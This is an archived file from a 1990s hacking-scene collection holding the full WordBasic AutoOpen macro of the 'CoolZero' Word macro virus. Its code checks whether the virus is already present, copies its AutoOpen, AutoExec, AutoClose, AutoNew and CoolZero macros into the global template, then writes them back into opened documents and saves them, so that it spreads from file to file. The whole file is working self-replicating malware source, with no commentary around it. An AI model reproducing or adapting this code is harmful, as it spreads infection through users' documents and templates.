home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0497.ZIP / MVUPDAT9.ZIP / COOLZERO.ZIP / AUTOOPEN.TXT < prev    next >
Text File  |  1997-03-10  |  1KB  |  46 lines
  1. Sub MAIN
  2. REM AutoOpen macro
  3. On Error Goto Finish2
  4.  
  5. For i = 1 To CountMacros(0, 0)
  6.     If MacroName$(i, 0, 0) = "CoolZero" Then
  7.     VInstalled = 1
  8. End If
  9. Next i
  10.  
  11. If VInstalled = 1 Then
  12.     Goto Finish
  13. Else
  14.     On Error Resume Next
  15.     MacroCopy FileName$() + ":AutoOpen", "Global:AutoOpen"
  16.     MacroCopy FileName$() + ":AutoExec", "Global:AutoExec"
  17.     MacroCopy FileName$() + ":AutoClose", "Global:AutoClose"
  18.     MacroCopy FileName$() + ":AutoNew", "Global:AutoNew"
  19.     MacroCopy FileName$() + ":CoolZero", "Global:CoolZero"
  20. End If
  21.  
  22. Finish2:
  23. On Error Goto Finish
  24.  
  25. For i = 1 To CountMacros(1, 0)
  26.         If MacroName$(i, 1, 1) = "CoolZero" Then
  27.         VInstalled = 1
  28. End If
  29. Next i
  30.  
  31. If VInstalled = 1 Then
  32.      Goto Finish
  33. Else
  34.     On Error Resume Next
  35.     FileSaveAs .Format = 1
  36.     MacroCopy "Global:AutoOpen",  FileName$() + ":AutoOpen"
  37.     MacroCopy "Global:AutoExec",  FileName$() + ":AutoExec"
  38.     MacroCopy "Global:AutoClose", FileName$() + ":AutoClose"
  39.     MacroCopy "Global:AutoNew",   FileName$() + ":AutoNew"
  40.     MacroCopy "Global:CoolZero",  FileName$() + ":CoolZero"
  41.     FileSaveAll 1, 0
  42. End If
  43.  
  44. Finish:
  45. End Sub
  46.